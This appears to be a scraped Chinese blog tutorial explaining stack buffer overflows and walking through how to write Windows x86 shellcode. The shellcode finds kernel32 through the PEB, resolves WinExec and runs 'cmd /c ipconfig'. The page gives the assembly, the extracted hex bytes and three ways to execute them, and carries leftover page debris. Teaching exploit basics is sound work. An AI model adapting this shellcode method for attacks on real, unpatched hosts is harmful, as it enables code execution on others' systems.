Shellcode的原理及編寫

1.shellcode原理html

Shellcode實際是一段代碼(也能夠是填充數據),是用來發送到服務器利用特定漏洞的代碼,通常能夠獲取權限。另外,Shellcode通常是做爲數據發送給受攻擊服務的。 Shellcode是溢出程序和蠕蟲病毒的核心,提到它天然就會和漏洞聯想在一塊兒,畢竟Shellcode只對沒有打補丁的主機有用武之地。網絡上數以萬計帶着漏洞頑強運行着的服務器給hacker和Vxer豐盛的晚餐。漏洞利用中最關鍵的是Shellcode的編寫。因爲漏洞發現者在漏洞發現之初並不會給出完整Shellcode,所以掌握Shellcode編寫技術就顯得尤其重要。
linux

以下連接是shellcode編寫的基礎,僅供參考web

 http://blog.chinaunix.net/uid-24917554-id-3506660.htmlshell

緩衝區溢出的shellcode不少了,這裏重現下緩衝區溢出。windows

[cpp] view plaincopy在CODE上查看代碼片派生到個人代碼片服務器

<EMBED id=ZeroClipboardMovie_1 height=18 name=ZeroClipboardMovie_1 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=1&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">網絡

  1. int fun(char *shellcode)  app

  2. {  函數

  3.     char str[4]="";//這裏定義4個字節  oop

  4.     strcpy(str,shellcode);//這兩個shellcode若是超過4個字節,就會致使緩衝區溢出  

  5.     printf("%s",str);  

  6.     return 1;  

  7. }  

  8. int main(int argc, char* argv[])  

  9. {  

  10.   char str[]="aaaaaaaaaaaaaaaaaaa!";  

  11.   fun(str);  

  12.   return 0;  

  13. }  

如上程序,會致使緩衝區溢出。

程序運行後截圖以下

如上能夠看出來,異常偏移是61616161,其實本身觀察61616161其實就是aaaa的Hex編碼

由於調用函數的過程大體是
1:將參數從右到左壓入堆棧
2:將下一條指令的地址壓入堆棧
3:函數內部的臨時變量申請
4:函數調用完成,退出

內存棧區從高到低

[參數][ebp][返回地址][函數內部變量空間]
如上程序,若是函數內部變量空間比較小,執行strcpy時候,源字符串比目標字符串長,就會覆蓋函數返回地址,致使程序流程變化

如圖


0048FE44前四個00是str申請的四個字節的並初始化爲00,後面的48FF1800是函數的返回地址,再後面的411E4000是ebp,既調用函數的基址。

再往下執行strcpy函數後,能夠看見aaaaaaaa覆蓋了返回地址

如圖


能夠看見0018FF44地址後面的函數返回地址和ebp都被61填充了。

fun函數執行完後,返回調用fun函數地址時候,致使程序報錯。

緩衝區溢出的簡單講解如上,這時候,若是咱們把返回地址改爲咱們本身的函數地址,不就能夠執行咱們本身的程序了?

緩衝區溢出利用就是把返回地址改爲咱們本身的函數地址,上面的方法就是覆蓋eip,既返回地址,還有一種方法是覆蓋SHE,原理差很少。

瞭解了基本原理,下面能夠編寫利用的代碼

緩衝區溢出,基本的使用方法是jmp esp,覆蓋的eip指針是jmp esp的地址,利用的字符串結構以下

[正常的字符串][jmp esp的地址][執行的代碼(shellcode)]

關於獲取jmp esp的代碼,能夠本身寫個程序,從系統中查找jmp esp代碼0xFFE4。

下面開始編寫shellcode以及調用實現

[cpp] view plaincopy在CODE上查看代碼片派生到個人代碼片

<EMBED id=ZeroClipboardMovie_2 height=18 name=ZeroClipboardMovie_2 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=2&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. void fun()  

  2. {  

  3.     __asm  

  4.     {  

  5.      mov eax, dword ptr fs:[0x30];  

  6.      mov eax, dword ptr [eax+0xC];  

  7.      mov eax, dword ptr [eax+0xC];  

  8.      mov eax, dword ptr [eax];  

  9.      mov eax, dword ptr [eax];  

  10.      mov eax, dword ptr [eax+0x18];  

  11.      mov ebp,eax                        //Kernel.dll基址  

  12.      mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  

  13.      mov edx,dword ptr ds:[eax+ebp+78H]  //  

  14.      add edx,ebp                        // edx=引出表地址  

  15.      mov ecx,dword ptr ds:[edx+18H]      // ecx=導出函數個數,NumberOfFunctions  

  16.      mov ebx,dword ptr ds:[edx+20H]      //  

  17.      add ebx,ebp                        // ebx=函數名地址,AddressOfName  

  18. start:                                  //  

  19.      dec ecx                            // 循環的開始  

  20.      mov esi,dword ptr ds:[ebx+ecx*4]   //  

  21.      add esi,ebp                        //  

  22.      mov eax,0x50746547                   //  

  23.      cmp dword ptr ds:[esi],eax         // 比較PteG  

  24.      jnz start                     //  

  25.      mov eax,0x41636F72                   //  

  26.      cmp dword ptr ds:[esi+4],eax       // 比較Acor,經過GetProcA幾個字符就能肯定是GetProcAddress  

  27.      jnz start                     //  

  28.      mov ebx,dword ptr ds:[edx+24H]      //  

  29.      add ebx,ebp                        //  

  30.      mov cx,word ptr ds:[ebx+ecx*2]     //  

  31.      mov ebx,dword ptr ds:[edx+1CH]      //  

  32.      add ebx,ebp                        //  

  33.      mov eax,dword ptr ds:[ebx+ecx*4]   //  

  34.      add eax,ebp                        // eax 如今是GetProcAddress地址  

  35.      mov ebx,eax                        // GetProcAddress地址存入ebx,若是寫ShellCode的話之後還能夠繼續調用  

  36.      push 0                             //  

  37.      push 0x636578                        //  

  38.      push 0x456E6957                      // 構造WinExec字符串  

  39.      push esp                           //  

  40.      push ebp                           // ebp是kernel32.dll的基址   

  41.      call ebx                           // 用GetProcAdress獲得WinExec地址  

  42.      mov ebx,eax                        // WinExec地址保存到ecx  

  43.    

  44.      push 0x00676966  

  45.      push 0x6E6F6370  

  46.      push 0x6920632F  

  47.      push 0x20646d63    //cmd壓入棧  

  48.   

  49.      lea eax,[esp];     //取到cmd首地址  

  50.      push 1             //  

  51.      push eax           // ASCII "cmd /c ipconfig"  

  52.      call ebx           // 執行WinExec  

  53.     // leave            // 跳回原始入口點  

  54.     }  

  55. }  


[cpp] view plaincopy在CODE上查看代碼片派生到個人代碼片

<EMBED id=ZeroClipboardMovie_3 height=18 name=ZeroClipboardMovie_3 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=3&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. int main(int argc, char* argv[])  

  2. {  

  3.    fun();  

  4. }  



若是彙編代碼在vc調試下,獲取二進制代碼如圖:


查看00401A08的地址,能夠看出是fun函數的彙編代碼

shellcode代碼基本獲取到了,如今是要把他複製出來,

我取出來的後,以下

[cpp] view plaincopy在CODE上查看代碼片派生到個人代碼片

<EMBED id=ZeroClipboardMovie_4 height=18 name=ZeroClipboardMovie_4 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=4&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. unsigned char shellcode[]={  

  2.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0x8B,0xE8,0x36,0x8B,0x45,  

  3.     0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,  

  4.     0xF5,0xB8,0x47,0x65,0x74,0x50,0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  

  5.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,0x8B,0x03,0xC5,0x8B,0xD8,0x6A,  

  6.     0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,  

  7.     0x63,0x6F,0x6E,0x68,0x2F,0x63,0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  

稍做了下加工,0x是HEX的方式。

下面是咱們調用shellcode,看是否能夠用

程序以下:

[cpp] view plaincopy在CODE上查看代碼片派生到個人代碼片

<EMBED id=ZeroClipboardMovie_5 height=18 name=ZeroClipboardMovie_5 type=application/x-shockwave-flash align=middle pluginspage=http://www.macromedia.com/go/getflashplayer width=18 src=http://static.blog.csdn.net/scripts/ZeroClipboard/ZeroClipboard.swf wmode="transparent" flashvars="id=5&width=18&height=18" allowfullscreen="false" allowscriptaccess="always" bgcolor="#ffffff" quality="best" menu="false" loop="false">

  1. int main(int argc, char* argv[])  

  2. {  

  3.     unsigned char shellcode[]={  

  4.     0x64,0xA1,0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,  

  5.     0x18,0x8B,0xE8,0x36,0x8B,0x45,0x3C,0x3E,0x8B,0x54,0x28,0x78,0x03,0xD5,0x3E,0x8B,0x4A,0x18,  

  6.     0x3E,0x8B,0x5A,0x20,0x03,0xDD,0x49,0x3E,0x8B,0x34,0x8B,0x03,0xF5,0xB8,0x47,0x65,0x74,0x50,  

  7.     0x3E,0x39,0x06,0x75,0xEF,0xB8,0x72,0x6F,0x63,0x41,0x3E,0x39,0x46,0x04,0x75,0xE4,0x3E,0x8B,  

  8.     0x5A,0x24,0x03,0xDD,0x66,0x3E,0x8B,0x0C,0x4B,0x3E,0x8B,0x5A,0x1C,0x03,0xDD,0x3E,0x8B,0x04,  

  9.     0x8B,0x03,0xC5,0x8B,0xD8,0x6A,0x00,0x68,0x78,0x65,0x63,0x00,0x68,0x57,0x69,0x6E,0x45,0x54,  

  10.     0x55,0xFF,0xD3,0x8B,0xD8,0x68,0x66,0x69,0x67,0x00,0x68,0x70,0x63,0x6F,0x6E,0x68,0x2F,0x63,  

  11.     0x20,0x69,0x68,0x63,0x6D,0x64,0x20,0x8D,0x04,0x24,0x6A,0x01,0x50,0xFF,0xD3};  

  12.     //三種方式執行shellcode  

  13.     //第一種  

  14.     ((void (*)())&shellcode)(); // 執行shellcode  

  15.     //第二種  

  16.     __asm     

  17.    {     

  18.       lea eax,shellcode;     

  19.       jmp eax;     

  20.    }   

  21.    //第三種  

  22.     __asm  

  23.    {  

  24.       lea eax, shellcode  

  25.       push eax  

  26.       ret   

  27.    }  

  28. }  

至此,shellcode的編寫完成了,如上這只是shellcode大體編寫過程,是在windows下環境編寫的,linux環境下的編寫過程基本相同

至於更高級的利用,能夠去看雪論壇逛逛。

相關文章
相關標籤/搜索